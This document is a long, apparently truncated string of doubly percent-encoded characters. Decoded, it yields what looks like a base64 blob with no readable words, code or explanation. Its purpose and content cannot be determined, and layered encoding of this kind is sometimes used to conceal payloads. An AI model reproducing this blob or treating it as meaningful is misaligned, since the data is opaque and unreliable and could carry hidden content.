%37%39%25%33%36%25%36%39%25%35%32%25%35%38%25%34%65%25%35%32%25%36%33%25%36%64%25%35%39%25%36%35%25%36%65%25%35%36%25%36%62%25%34%38%25%33%34%25%35%39%25%35%61%25%35%61%25%34%33%25%35%38%25%34%37%25%36%39%25%36%66%25%34%33%25%35%33%25%34%61%25%35%61%25%34%32%25%36%66%25%34%35%25%35%32%25%33%32%25%36%39%25%35%36%25%34%35%25%37%37%25%35%36%25%34%63%25%35%32%25%36%62%25%34%36%25%36%63%25%35%61%25%34%66%25%36%33%25%35%35%25%35%30%25%34%35%25%36%62%25%37%39%25%35%32%25%33%33%25%36%39%25%36%38%25%34%37%25%36%36%25%34%36%25%35%34%25%34%31%25%33%36%25%35%32%25%33%35%25%32%66%25%36%31%25%36%38%25%33%39%25%35%36%25%36%36%25%34%64%25%37%33%25%34%64%25%33%32%25%36%63%25%36%37%25%36%35%25%35%36%25%35%36%25%34%35%25%34%62%25%35%30%25%37%38%25%37%37%25%34%61%25%37%37%25%33%35%25%35%34%25%35%30%25%35%37%25%32%62%25%34%66%25%35%32%25%33%34%25%37%30%25%36%37%25%37%37%25%36%61%25%32%62%25%36%66%25%33%37%25%37%61%25%32%66%25%37%30%25%34%61%25%33%30%25%36%34%25%36%31%25%34%31%25%33%34%25%35%34%25%36%36%25%36%35%25%36%63%25%35%31%25%34%38%25%34%31%25%36%62%25%37%30%25%34%66%25%34%36%25%34%31%25%34%61%25%34%66%25%34%33%25%34%38%25%34%61%25%34%61%25%35%33%25%36%37%25%37%34%25%37%30%25%34%64%25%34%35%25%36%37%25%34%64%25%36%34%25%37%32%25%35%30%25%32%62%25%34%66%25%36%34%25%33%30%25%37%35%25%34%61%25%36%38%25%33%31%25%35%33%25%34%61%25%36%39%25%33%38%25%37%31%25%33%39%25%34%32%25%36%36%25%33%35%25%34%39%25%37%38%25%36%35%25%36%34%25%36%38%25%34%35%25%36%37%25%37%32%25%34%38%25%34%33%25%34%33%25%35%31%25%37%39%25%35%33%25%35%32%25%35%34%25%33%35%25%34%37%25%36%32%25%36%38%25%34%34%25%36%32%25%37%36%25%35%61%25%35%31%25%35%31%25%33%34%25%34%35%25%33%36%25%34%61%25%37%61%25%36%62%25%33%32%25%34%63%25%35%38%25%33%35%25%36%39%25%35%39%25%35%30%25%37%37%25%33%33%25%37%32%25%36%64%25%37%32%25%35%31%25%35%33%25%37%32%25%34%63%25%35%37%25%35%32%25%36%64%25%35%37%25%36%33%25%35%61%25%35%36%25%34%64%25%36%31%25%33%37%25%33%34%25%34%65%25%36%33%25%32%66%25%34%65%25%37%35%25%34%39%25%33%32%25%32%62%25%36%39%25%36%62%25%36%39%25%34%64%25%35%38%25%33%35%25%35%39%25%33%37%25%33%34%25%37%36%25%35%30%25%37%61%25%34%31%25%33%35%25%33%38%25%34%65%25%34%36%25%36%33%25%35%38%25%34%66%25%36%64%25%35%38%25%36%37%25%34%62%25%33%30%25%34%65%25%36%62%25%35%35%25%34%32%25%33%33%25%37%30%25%33%30%25%35%38%25%36%64%25%37%31%25%34%61%25%33%30%25%34%64%25%36%32%25%37%30%25%34%64%25%33%35%25%36%37%25%34%39%25%34%32%25%34%39%25%36%33%25%37%35%25%37%61%25%37%32%25%34%36%25%34%37%25%34%31%25%34%64%25%34%38%25%33%35%25%34%62%25%35%39%25%34%35%25%33%34%25%35%35%25%33%37%25%37%31%25%35%34%25%34%34%25%33%35%25%35%34%25%36%36%25%34%32%25%34%32%25%34%34%25%34%39%25%33%35%25%37%37%25%34%31%25%36%62%25%36%31%25%34%35%25%34%32%25%35%35%25%35%39%25%35%39%25%34%33%25%36%36%25%36%37%25%34%38%25%36%64%25%34%31%25%36%65%25%37%34%25%34%37%25%36%35%25%36%37%25%32%62%25%37%37%25%35%32%25%34%35%25%34%33%25%33%33%25%36%37%25%34%64%25%33%30%25%33%30%25%33%35%25%34%34%25%34%32%25%34%39%25%36%64%25%36%61%25%34%32%25%33%36%25%36%36%25%35%32%25%36%61%25%34%64%25%37%30%25%37%38%25%35%35%25%35%35%25%36%38%25%34%35%25%33%37%25%33%36%25%37%31%25%33%31%25%36%31%25%37%36%25%37%34%25%34%65%25%37%36%25%37%32%25%37%32%25%36%35%25%36%31%25%37%33%25%34%33%25%36%63%25%37%34%25%37%39%25%37%32%25%34%63%25%33%38%25%37%31%25%35%35%25%36%32%25%32%66%25%37%39%25%34%31%25%37%31%25%36%39%25%37%32%25%37%30%25%34%62%25%35%35%25%36%64%25%37%31%25%36%35%25%36%62%25%37%30%25%37%36%25%33%30%25%34%63%25%34%36%25%37%35%25%35%38%25%33%30%25%36%62%25%37%38%25%37%35%25%34%36%25%34%39%25%33%39%25%35%37%25%37%61%25%34%33%25%34%39%25%34%61%25%33%38%25%35%61%25%37%31%25%33%36%25%35%34%25%37%34%25%37%31%25%35%38%25%35%30%25%34%61%25%36%64%25%37%36%25%37%30%25%33%38%25%35%30%25%35%36%25%36%65%25%33%36%25%37%38%25%37%61%25%37%36%25%37%33%25%33%36%25%37%38%25%33%36%25%37%33%25%33%33%25%34%34%25%33%30%25%33%38%25%34%38%25%36%39%25%36%61%25%33%39%25%33%30%25%33%36%25%36%36%25%37%35%25%34%65%25%33%38%25%36%62%25%32%66%25%35%34%25%34%31%25%32%62%25%36%31%25%35%36%25%35%32%25%35%61%25%36%33%25%35%30%25%32%66%25%34%66%25%34%37%25%37%33%25%36%33%25%34%31%25%36%65%25%37%38%25%36%62%25%36%61%25%34%66%25%36%37%25%34%38%25%34%64%25%36%35%25%37%37%25%35%39%25%35%30%25%32%66%25%35%39%25%34%64%25%33%37%25%33%34%25%35%33%25%34%33%25%37%34%25%37%33%25%34%31%25%32%66%25%33%35%25%37%38%25%35%34%25%35%35%25%36%31%25%35%37%25%36%38%25%35%61%25%33%38%25%36%35%25%35%31%25%37%38%25%35%36%25%34%31%25%34%39%25%37%38%25%36%31%25%36%66%25%37%34%25%36%65%25%34%62%25%35%33%25%36%34%25%34%33%25%36%61%25%33%31%25%36%38%25%37%30%25%35%38%25%34%33%25%35%61%25%36%66%25%37%34%25%34%61%25%32%62%25%34%38%25%37%30%25%35%38%25%35%38%25%35%33%25%34%33%25%35%31%25%35%38%25%36%39%25%35%61%25%35%30%25%34%37%25%36%64%25%36%34%25%36%63%25%36%64%25%34%39%25%33%31%25%34%64%25%35%61%25%36%63%25%33%36%25%37%32%25%33%36%25%35%33%25%37%36%25%36%32%25%36%38%25%33%36%25%33%35%25%34%62%25%33%32%25%37%35%25%35%33%25%36%65%25%34%62%25%36%66%25%35%32%25%35%32%25%36%35%25%36%66%25%35%32%25%35%33%25%35%37%25%36%33%25%34%32%25%33%36%25%36%37%25%36%61%25%33%39%25%36%38%25%36%36%25%34%39%25%34%31%25%36%34%25%37%35%25%35%35%25%33%36%25%34%31%25%34%64%25%34%38%25%33%38%25%36%39%25%37%34%25%37%36%25%34%32%25%35%36%25%33%38%25%33%32%25%32%66%25%36%64%25%33%36%25%36%33%25%33%37%25%36%64%25%35%31%25%34%39%25%33%35%25%33%35%25%36%61%25%35%36%25%35%35%25%34%31%25%33%32%25%33%32%25%34%64%25%36%36%25%36%64%25%36%35%25%36%32%25%33%31%25%35%38%25%36%33%25%34%31%25%35%34%25%36%66%25%36%32%25%36%64%25%35%30%25%35%33%25%33%30%25%33%34%25%35%37%25%36%34%25%35%30%25%34%61%25%33%32%25%34%35%25%33%36%25%35%32%25%34%63%25%34%34%25%36%35%25%35%37%25%35%39%25%34%39%25%34%39%25%36%39%25%36%63%25%33%33%25%32%62%25%33%33%25%34%38%25%36%33%25%35%33%25%36%39%25%33%34%25%34%33%25%35%37%25%33%34%25%36%65%25%32%62%25%35%33%25%35%35%25%34%33%25%35%35%25%36%64%25%33%37%25%33%39%25%34%34%25%36%63%25%36%66%25%35%39%25%33%35%25%34%38%25%37%34%25%34%39%25%37%35%25%34%63%25%33%32%25%33%39%25%37%36%25%34%35%25%33%35%25%33%36%25%36%34%25%35%31%25%35%33%25%36%34%25%37%36%25%36%39%25%37%36%25%34%61%25%36%37%25%37%32%25%33%37%25%37%39%25%33%33%25%35%39%25%33%33%25%34%36%25%35%36%25%33%35%25%34%66%25%35%32%25%36%66%25%36%34%25%32%62%25%33%33%25%36%36%25%33%39%25%33%31%25%35%31%25%36%38%25%37%37%25%36%33%25%35%39%25%35%35%25%35%30%25%33%31%25%36%61%25%32%62%25%35%32%25%35%37%25%34%31%25%34%62%25%34%38%25%34%61%25%33%35%25%36%37%25%34%36%25%36%64%25%37%30%25%35%31%25%35%31%25%34%32%25%34%33%25%36%36%25%36%65%25%36%65%25%35%36%25%36%61%25%36%65%25%34%31%25%34%35%25%32%62%25%34%34%25%37%36%25%32%66%25%34%62%25%37%35%25%34%37%25%37%33%25%37%35%25%36%63%25%35%35%25%32%66%25%36%38%25%35%39%25%35%34%25%34%38%25%35%30%25%36%33%25%36%64%25%37%38%25%36%62%25%34%37%25%35%34%25%34%35%25%36%63%25%35%32%25%34%38%25%37%33%25%37%36%25%35%38%25%32%66%25%35%33%25%34%65%25%37%36%25%35%39%25%35%37%25%36%61%25%34%64%25%32%62%25%36%64%25%36%35%25%36%37%25%36%61%25%37%61%25%33%33%25%35%39%25%34%62%25%33%39%25%33%33%25%37%30%25%33%33%25%35%35%25%35%30%25%32%66%25%33%30%25%37%33%25%37%35%25%36%37%25%36%36%25%33%34%25%33%33%25%36%33%25%34%35%25%37%37%25%34%32%25%33%33%25%33%36%25%34%65%25%35%39%25%33%36%25%34%37%25%35%39%25%34%61%25%33%30%25%32%62%25%37%30%25%36%38%25%33%39%25%35%61%25%34%34%25%37%61%25%34%64%25%36%63%25%36%65%25%34%66%25%35%38%25%33%34%25%37%32%25%34%39%25%36%31%25%34%64%25%34%63%25%37%37%25%34%39%25%34%66%25%35%30%25%34%63%25%36%39%25%34%63%25%35%35%25%33%35%25%35%39%25%37%36%25%37%32%25%35%35%25%35%38%25%33%34%25%36%36%25%35%39%25%37%61%25%34%36%25%33%34%25%37%30%25%33%33%25%36%31%25%35%30%25%36%36%25%35%34%25%37%32%25%34%32%25%32%66%25%35%36%25%37%30%25%37%37%25%36%37%25%36%33%25%36%38%25%33%39%25%35%30%25%35%37%25%35%38%25%37%61%25%37%36%25%35%32%25%36%38%25%36%33%25%34%66%25%34%35%25%35%36%25%35%33%25%34%36%25%35%39%25%36%38%25%37%37%25%36%33%25%35%30%25%36%33%25%35%38%25%37%32%25%35%31%25%37%33%25%34%37%25%34%36%25%33%38%25%35%37%25%35%34%25%36%33%25%36%34%25%34%31%25%34%62%25%37%35%25%35%30%25%33%39%25%35%33%25%37%33%25%34%36%25%36%34%25%35%30%25%34%38%25%32%62%25%36%31%25%34%64%25%34%34%25%33%37%25%34%31%25%34%35%25%35%61%25%36%66%25%35%39%25%34%34%25%34%33%25%36%37%25%35%61%25%35%61%25%34%66%25%34%31%25%34%32%25%34%66%25%36%32%25%34%38%25%36%32%25%34%37%25%34%35%25%37%39%25%37%30%25%36%31%25%34%39%25%37%61%25%34%31%25%33%39%25%34%35%25%37%31%25%33%35%25%33%34%25%35%33%25%36%37%25%35%38%25%33%31%25%35%35%25%37%39%25%36%35%25%35%31%25%35%38%25%35%31%25%35%31%25%34%62%25%36%64%25%35%39%25%34%65%25%34%35%25%34%63%25%34%62%25%36%39%25%33%31%25%32%62%25%33%38%25%33%34%25%33%38%25%35%31%25%34%36%25%36%34%25%34%33%25%36%39%25%36%65%25%36%36%25%36%65%25%34%66%25%35%33%25%34%34%25%36%33%25%35%35%25%34%62%25%32%66%25%35%35%25%37%34%25%36%65%25%34%38%25%34%63%25%33%36%25%36%38%25%34%31%25%34%36%25%35%34%25%36%34%25%34%39%25%35%33%25%34%61%25%34%35%25%35%30%25%36%66%25%33%31%25%37%34%25%37%61%25%33%30%25%36%32%25%36%64%25%34%61%25%34%62%25%36%61%25%35%32%25%34%61%25%34%35%25%34%61%25%34%36%25%33%32%25%34%63%25%37%31%25%36%65%25%36%62%25%35%35%25%33%34%25%36%34%25%33%36%25%34%32%25%33%32%25%34%32%25%33%34%25%36%65%25%37%36%25%33%39%25%34%61%25%35%36%25%37%32%25%36%61%25%36%66%25%36%32%25%37%30%25%37%31%25%34%66%25%37%34%25%34%39%25%32%62%25%36%38%25%36%66%25%37%32%25%35%35%25%35%34%25%33%36%25%36%31%25%36%39%25%37%37%25%34%38%25%36%34%25%33%31%25%37%39%25%35%36%25%34%36%25%36%32%25%34%66%25%35%36%25%37%36%25%34%35%25%33%37%25%37%31%25%34%34%25%36%61%25%35%37%25%35%38%25%34%34%25%37%32%25%36%61%25%33%36%25%36%34%25%34%31%25%34%33%25%33%33%25%35%37%25%36%32%25%34%36%25%34%35%25%35%32%25%37%38%25%35%34%25%33%32%25%34%35%25%33%36%25%36%66%25%34%66%25%32%66%25%36%66%25%34%34%25%34%36%25%37%35%25%34%62%25%35%38%25%32%62%25%37%31%25%37%36%25%34%62%25%34%31%25%32%66%25%34%61%25%33%31%25%36%36%25%32%66%25%35%36%25%35%30%25%36%38%25%34%39%25%34%36%25%34%38%25%37%34%25%35%31%25%34%31%25%33%38%25%35%30%25%35%31%25%37%32%25%35%31%25%34%34%25%36%61%25%37%34%25%35%61%25%35%35%25%34%34%25%37%31%25%33%34%25%34%34%25%33%31%25%33%36%25%35%30%25%34%37%25%34%61%25%32%66%25%33%30%25%36%62%25%37%39%25%36%65%25%33%32%25%36%39%25%35%61%25%34%35%25%36%33%25%34%34%25%34%32%25%33%30%25%35%36%25%35%39%25%35%33%25%33%35%25%35%30%25%34%62%25%34%31%25%34%63%25%34%39%25%34%36%25%34%63%25%37%35%25%37%31%25%34%66%25%33%30%25%36%35%25%36%31%25%36%64%25%37%33%25%32%62%25%33%35%25%33%33%25%36%38%25%35%33%25%32%62%25%35%37%25%37%35%25%32%62%25%34%66%25%35%34%25%33%39%25%34%38%25%35%61%25%37%38%25%34%61%25%36%66%25%33%37%25%36%38%25%33%31%25%37%35%25%35%32%25%33%35%25%36%33%25%34%34%25%34%63%25%35%34%25%33%34%25%36%35%25%35%31%25%33%31%25%35%38%25%36%35%25%37%38%25%34%37%25%34%63%25%34%33%25%37%31%25%36%38%25%37%37%25%32%66%25%34%32%25%35%61%25%33%37%25%34%35%25%33%31%25%36%33%25%36%31%25%35%30%25%33%39%25%32%62%25%33%39%25%34%39%25%37%37%25%37%31%25%33%39%25%36%62%25%33%30%25%35%37%25%35%38%25%34%33%25%33%39%25%36%38%25%33%34%25%34%35%25%34%33%25%34%32%25%35%33%25%36%35%25%36%38%25%37%30%25%34%39%25%36%37%25%34%35%25%33%31%25%35%34%25%33%33%25%36%38%25%34%33%25%34%34%25%35%39%25%35%31%25%34%34%25%34%64%25%36%63%25%36%66%25%37%31%25%35%35%25%34%65%25%33%33%25%37%30%25%33%39%25%37%37%25%36%34%25%35%36%25%34%35%25%35%38%25%36%64%25%36%34%25%36%64%25%37%32%25%37%39%25%34%32%25%34%37%25%34%38%25%34%36%25%33%30%25%33%32%25%35%35%25%34%39%25%32%62%25%35%61%25%35%32%25%36%65%25%35%38%25%34%34%25%36%37%25%35%39%25%33%35%25%37%31%25%34%31%25%34%39%25%33%39%25%34%32%25%36%62%25%37%31%25%34%64%25%36%62%25%34%33%25%36%63%25%33%30%25%37%32%25%36%35%25%36%31%25%37%35%25%34%37%25%36%32%25%34%62%25%34%39%25%33%30%25%34%38%25%33%37%25%35%38%25%34%37%25%35%34%25%36%35%25%34%63%25%34%35%25%33%33%25%36%35%25%33%37%25%34%35%25%34%63%25%36%32%25%33%37%25%34%62%25%35%30%25%34%32%25%37%39%25%32%66%25%36%36%25%36%39%25%34%36%25%34%37%25%35%34%25%33%37%25%37%38%25%33%36%25%36%34%25%35%37%25%34%33%25%36%36%25%34%65%25%35%38%25%35%38%25%33%34%25%34%39%25%36%61%25%34%65%25%37%35%25%34%66%25%37%33%25%33%33%25%35%61%25%35%39%25%37%36%25%34%61%25%37%34%25%37%33%25%36%36%25%34%38%25%37%36%25%34%33%25%37%37%25%33%30%25%37%61%25%36%36%25%37%31%25%37%38%25%34%63%25%34%63%25%34%36%25%35%39%25%34%33%25%33%37%25%34%32%25%37%61%25%35%33%25%37%36%25%36%32%25%34%37%25%34%39%25%35%61%25%36%34%25%35%33%25%33%35%25%33%31%25%37%35%25%35%36%25%36%62%25%36%36%25%33%38%25%35%61%25%37%31%25%33%35%25%34%38%25%35%34%25%37%32%25%36%38%25%33%32%25%35%32%25%34%37%25%37%31%25%37%37%25%33%36%25%33%31%25%34%32%25%36%33%25%34%33%25%34%33%25%35%61%25%33%35%25%34%33%25%33%33%25%36%35%25%37%35%25%34%38%25%35%39%25%34%64%25%33%35%25%35%30%25%37%34%25%33%32%25%33%33%25%36%36%25%36%34%25%33%30%25%34%32%25%36%39%25%36%65%25%32%62%25%36%62%25%34%38%25%36%64%25%35%37%25%33%35%25%36%65%25%34%37%25%34%66%25%36%31%25%36%32%25%34%31%25%33%38%25%36%38%25%32%66%25%35%31%25%33%30%25%34%33%25%35%39%25%36%38%25%34%36%25%36%65%25%37%33%25%33%31%25%37%61%25%36%36%25%36%62%25%35%39%25%35%30%25%33%37%25%35%61%25%37%34%25%36%37%25%33%39%25%36%32%25%36%34%25%37%34%25%36%32%25%36%34%25%33%32%25%32%62%25%34%38%25%36%65%25%36%66%25%33%35%25%34%38%25%35%34%25%37%37%25%35%61%25%33%33%25%34%35%25%33%34%25%35%39%25%35%61%25%34%63%25%37%32%25%36%61%25%34%32%25%36%39%25%37%30%25%33%39%25%37%37%25%35%35%25%37%30%25%35%61%25%35%35%25%34%31%25%37%38%25%34%33%25%33%36%25%37%31%25%35%33%25%36%35%25%37%30%25%37%39%25%33%32%25%33%33%25%37%37%25%33%37%25%33%30%25%34%64%25%37%39%25%37%36%25%37%31%25%36%36%25%34%32%25%33%38%25%34%35%25%33%36%25%34%34%25%33%32%25%33%38%25%36%39%25%35%35%25%34%66%25%37%32%25%34%35%25%34%66%25%36%63%25%36%65%25%35%37%25%36%39%25%37%36%25%35%32%25%37%34%25%36%33%25%36%33%25%34%63%25%37%37%25%34%66%25%37%31%25%35%61%25%33%39%25%33%39%25%33%31%25%34%33%25%37%30%25%37%38%25%36%35%25%35%35%25%33%36%25%35%37%25%34%62%25%37%35%25%36%66%25%34%36%25%34%39%25%34%38%25%35%35%25%37%37%25%35%30%25%36%39%25%36%32%25%36%36%25%35%32%25%34%66%25%35%36%25%35%30%25%37%30%25%37%34%25%34%38%25%35%38%25%37%38%25%34%38%25%37%39%25%33%32%25%36%34%25%37%39%25%32%62%25%34%64%25%36%37%25%35%30%25%34%63%25%36%32%25%37%39%25%37%61%25%32%66%25%35%34%25%35%32%25%34%36%25%36%65%25%36%65%25%35%33%25%33%36%25%37%31%25%34%31%25%35%33%25%35%31%25%33%31%25%36%62%25%36%63%25%36%31%25%34%31%25%35%38%25%37%37%25%34%62%25%34%65%25%36%35%25%37%30%25%33%35%25%35%30%25%35%30%25%36%31%25%35%61%25%37%35%25%33%30%25%37%33%25%34%65%25%34%61%25%36%61%25%33%33%25%33%30%25%36%65%25%35%34%25%33%30%25%33%31%25%33%38%25%35%30%25%34%62%25%37%61%25%37%32%25%36%36%25%32%66%25%33%30%25%37%31%25%33%32%25%33%34%25%33%34%25%36%34%25%36%33%25%34%64%25%35%33%25%36%38%25%35%38%25%33%34%25%34%31%25%36%65%25%33%39%25%36%31%25%33%36%25%37%32%25%34%66%25%33%32%25%33%34%25%37%35%25%34%34%25%37%35%25%34%37%25%33%39%25%34%38%25%36%34%25%34%32%25%33%30%25%37%36%25%34%65%25%35%61%25%33%32%25%37%35%25%34%39%25%37%36%25%37%32%25%35%37%25%33%34%25%35%32%25%34%39%25%36%65%25%37%38%25%33%33%25%36%34%25%35%37%25%35%31%25%34%61%25%32%62%25%32%66%25%36%39%25%37%35%25%36%37%25%33%30%25%36%35%25%36%31%25%34%35%25%32%62%25%35%36%25%35%31%25%34%63%25%37%38%25%34%31%25%37%35%25%36%64%25%37%39%25%35%33%25%36%31%25%34%66%25%34%62%25%35%38%25%36%36%25%36%32%25%34%36%25%34%35%25%34%61%25%34%36%25%34%38%25%37%33%25%33%39%25%35%61%25%33%33%25%36%32%25%33%33%25%34%66%25%35%35%25%33%36%25%34%39%25%33%31%25%36%31%25%34%39%25%34%61%25%37%39%25%35%38%25%33%35%25%33%32%25%37%36%25%37%35%25%34%38%25%33%36%25%36%33%25%34%66%25%36%35%25%36%36%25%35%35%25%35%36%25%33%38%25%37%36%25%35%38%25%35%36%25%37%37%25%34%62%25%34%63%25%37%33%25%33%37%25%36%61%25%36%35%25%35%36%25%35%35%25%33%39%25%33%33%25%36%37%25%34%65%25%36%66%25%36%31%25%36%65%25%37%33%25%33%33%25%35%30%25%36%64%25%34%36%25%35%32%25%35%31%25%37%37%25%34%61%25%36%38%25%36%37%25%33%38%25%33%39%25%35%61%25%37%37%25%37%34%25%35%30%25%33%34%25%37%31%25%35%38%25%34%63%25%37%35%25%35%38%25%34%64%25%35%33%25%34%37%25%32%66%25%36%36%25%35%61%25%34%63%25%36%34%25%37%61%25%33%35%25%35%33%25%36%38%25%37%33%25%36%32%25%34%63%25%34%65%25%36%34%25%34%62%25%34%37%25%35%61%25%35%35%25%34%62%25%34%38%25%35%36%25%34%35%25%34%64%25%37%31%25%34%36%25%35%32%25%36%61%25%34%66%25%34%65%25%36%61%25%35%31%25%37%61%25%34%65%25%35%33%25%36%39%25%32%66%25%35%33%25%36%31%25%34%33%25%34%64%25%35%61%25%35%33%25%33%36%25%35%39%25%37%33%25%35%33%25%36%35%25%37%35%25%37%36%25%33%31%25%36%39%25%35%35%25%34%32%25%36%34%25%32%66%25%35%32%25%33%39%25%35%36%25%36%38%25%36%33%25%34%31%25%34%31%25%34%37%25%35%34%25%35%34%25%36%36%25%35%36%25%36%36%25%35%35%25%36%34%25%32%66%25%34%65%25%35%38%25%32%62%25%35%35%25%37%34%25%32%66%25%34%34%25%34%65%25%35%31%25%35%35%25%35%37%25%36%37%25%37%39%25%34%36%25%34%33%25%33%39%25%33%33%25%37%32%25%36%35%25%37%31%25%36%36%25%34%65%25%34%63%25%33%36%25%37%32%25%37%31%25%37%38%25%33%37%25%35%31%25%35%32%25%35%37%25%33%37%25%33%35%25%36%37%25%34%64%25%37%37%25%37%38%25%35%36%25%36%66%25%34%37%25%34%32%25%36%66%25%36%62%25%34%31%25%36%62%25%35%30%25%33%36%25%37%33%25%35%39%25%37%35%25%35%39%25%34%37%25%34%31%25%36%38%25%33%36%25%36%38%25%36%65%25%36%35%25%33%37%25%34%31%25%33%34%25%34%35%25%37%39%25%33%36%25%36%63%25%34%61%25%35%39%25%33%36%25%35%39%25%34%66%25%37%37%25%33%34%25%34%35%25%34%33%25%34%65%25%33%30%25%35%37%25%37%32%25%37%30%25%33%35%25%36%31%25%36%66%25%33%31%25%36%32%25%35%33%25%35%31%25%34%37%25%36%65%25%34%61%25%35%33%25%36%64%25%34%36%25%37%37%25%37%32%25%34%35%25%35%35%25%37%38%25%33%33%25%36%39%25%35%38%25%37%33%25%36%62%25%33%34%25%33%36%25%33%32%25%34%31%25%33%30%25%33%31%25%37%34%25%37%33%25%37%30%25%36%64%25%33%37%25%36%36%25%33%33%25%35%30%25%36%32%25%36%35%25%36%64%25%36%34%25%35%36%25%34%36%25%34%32%25%32%62%25%37%61%25%36%31%25%35%30%25%34%35%25%35%38%25%34%37%25%36%36%25%36%35%25%32%66%25%37%33%25%34%39%25%37%31%25%35%31%25%35%34%25%36%31%25%35%39%25%33%36%25%37%36%25%34%61%25%34%34%25%36%64%25%33%34%25%34%39%25%37%31%25%36%35%25%33%35%25%34%65%25%34%33%25%35%32%25%34%37%25%36%33%25%36%62%25%33%30%25%37%38%25%36%36%25%37%36%25%35%39%25%34%62%25%37%35%25%34%64%25%37%61%25%32%66%25%34%32%25%33%38%25%36%37%25%36%32%25%34%63%25%36%31%25%33%31%25%34%32%25%36%38%25%36%64%25%34%61%25%37%35%25%37%30%25%37%37%25%34%32%25%34%61%25%33%35%25%36%36%25%33%38%25%36%36%25%33%37%25%36%64%25%34%63%25%33%31%25%34%32%25%34%34%25%36%64%25%34%36%25%35%61%25%34%39%25%33%32%25%36%35%25%34%36%25%36%63%25%34%61%25%37%32%25%36%31%25%34%33%25%34%35%25%34%65%25%35%36%25%34%35%25%36%61%25%36%64%25%34%63%25%34%32%25%36%38%25%36%62%25%36%31%25%33%39%25%35%32%25%34%64%25%36%36%25%37%37%25%37%31%25%33%32%25%36%62%25%36%31%25%36%61%25%35%35%25%37%30%25%37%38%25%37%31%25%35%61%25%37%61%25%34%36%25%35%31%25%35%39%25%35%35%25%36%38%25%34%39%25%33%39%25%34%32%25%33%30%25%37%31%25%34%36%25%37%36%25%32%62%25%34%61%25%34%37%25%37%36%25%35%36%25%34%39%25%35%33%25%34%66%25%34%65%25%34%65%25%36%65%25%33%37%25%33%39%25%33%35%25%36%35%25%32%62%25%36%64%25%34%38%25%36%39%25%34%36%25%34%62%25%36%32%25%33%39%25%37%38%25%36%32%25%36%32%25%36%64%25%35%32%25%33%35%25%33%36%25%34%62%25%33%37%25%37%36%25%32%66%25%36%37%25%37%61%25%35%36%25%37%35%25%34%31%25%37%61%25%36%31%25%36%64%25%35%37%25%35%34%25%36%34%25%33%37%25%37%35%25%36%38%25%36%36%25%37%34%25%33%37%25%37%34%25%35%30%25%37%39%25%34%64%25%36%61%25%36%32%25%35%37%25%35%31%25%35%32%25%33%36%25%37%34%25%34%38%25%34%65%25%37%35%25%35%31%25%34%32%25%33%34%25%37%33%25%34%35%25%34%36%25%33%39%25%33%33%25%37%39%25%34%63%25%33%31%25%33%35%25%36%63%25%37%38%25%37%30%25%33%35%25%33%35%25%35%39%25%36%65%25%37%32%25%37%37%25%36%39%25%35%37%25%35%35%25%35%39%25%36%33%25%34%66%25%35%36%25%35%36%25%37%38%25%36%35%25%34%39%25%34%39%25%35%61%25%33%31%25%34%36%25%35%36%25%37%39%25%35%39%25%35%32%25%33%39%25%37%34%25%36%37%25%36%61%25%34%66%25%36%38%25%36%35%25%32%62%25%34%39%25%35%61%25%35%39%25%34%35%25%37%61%25%36%63%25%33%35%25%34%61%25%34%33%25%37%37%25%36%62%25%34%38%25%37%30%25%36%39%25%34%34%25%36%65%25%36%62%25%36%37%25%33%30%25%37%61%25%36%38%25%33%31%25%35%33%25%36%33%25%34%64%25%34%66%25%34%61%25%34%38%25%37%35%25%35%33%25%33%31%25%35%36%25%37%36%25%34%34%25%33%30%25%36%33%25%34%38%25%37%35%25%36%64%25%36%38%25%34%36%25%34%61%25%37%36%25%33%34%25%33%30%25%34%38%25%36%38%25%36%63%25%36%31%25%34%64%25%34%63%25%37%35%25%36%66%25%34%35%25%37%34%25%36%36%25%33%38%25%36%64%25%35%37%25%33%37%25%35%38%25%34%62%25%32%62%25%34%38%25%34%61%25%33%33%25%35%30%25%33%34%25%36%32%25%36%63%25%37%34%25%35%35%25%36%61%25%34%37%25%36%63%25%36%61%25%34%62%25%36%62%25%35%35%25%37%30%25%35%30%25%33%30%25%33%39%25%36%35%25%36%63%25%34%33%25%37%31%25%35%61%25%34%31%25%34%34%25%34%35%25%33%35%25%32%62%25%36%65%25%37%35%25%36%33%25%35%37%25%35%61%25%35%61%25%34%36%25%35%38%25%34%33%25%37%37%25%37%36%25%34%35%25%32%62%25%34%39%25%36%65%25%35%38%25%35%35%25%33%35%25%36%39%25%37%36%25%37%36%25%34%38%25%35%36%25%36%63%25%34%33%25%35%34%25%35%61%25%34%36%25%33%30%25%35%34%25%33%32%25%35%39%25%35%36%25%34%61%25%37%37%25%33%32%25%36%39%25%34%36%25%34%37%25%35%32%25%33%33%25%37%31%25%33%31%25%37%35%25%36%35%25%36%64%25%33%31%25%35%39%25%35%36%25%33%39%25%37%36%25%37%32%25%33%31%25%33%37%25%32%66%25%35%61%25%34%37%25%32%66%25%34%66%25%35%32%25%35%31%25%34%36%25%37%33%25%36%38%25%34%36%25%35%36%25%36%64%25%35%34%25%36%34%25%35%33%25%33%35%25%34%32%25%37%32%25%34%39%25%32%62%25%35%39%25%35%32%25%37%36%25%34%65%25%34%62%25%36%35%25%36%35%25%34%63%25%37%39%25%36%63%25%36%64%25%33%39%25%35%35%25%36%35%25%34%64%25%34%65%25%34%34%25%33%33%25%34%65%25%33%33%25%36%36%25%36%39%25%36%62%25%34%31%25%37%37%25%35%32%25%33%31%25%33%30%25%36%64%25%35%37%25%35%31%25%33%36%25%35%31%25%35%33%25%37%34%25%35%61%25%36%66%25%35%35%25%36%62%25%36%62%25%34%65%25%34%66%25%34%33%25%36%37%25%36%34%25%35%33%25%37%37%25%34%35%25%35%37%25%34%61%25%33%39%25%36%64%25%33%34%25%34%36%25%35%32%25%36%64%25%36%34%25%35%32%25%34%66%25%33%31%25%35%31%25%35%32%25%33%38%25%35%34%25%35%39%25%33%31%25%37%30%25%34%65%25%34%65%25%35%32%25%35%33%25%37%61%25%35%38%25%33%36%25%34%62%25%33%39%25%36%64%25%36%62%25%36%63%25%36%63%25%35%61%25%33%36%25%37%32%25%36%38%25%32%62%25%34%36%25%36%32%25%37%35%25%36%33%25%35%33%25%33%39%25%36%39%25%34%37%25%36%63%25%37%33%25%37%39%25%34%34%25%35%61%25%35%31%25%36%38%25%33%33%25%36%63%25%37%35%25%35%35%25%35%31%25%33%35%25%35%31%25%35%61%25%36%36%25%37%36%25%34%32%25%37%37%25%37%32%25%37%30%25%36%62%25%34%38%25%36%39%25%37%34%25%36%65%25%35%39%25%36%62%25%36%34%25%34%61%25%36%36%25%34%34%25%36%31%25%37%32%25%36%62%25%34%62%25%34%32%25%34%37%25%34%35%25%37%37%25%33%34%25%35%36%25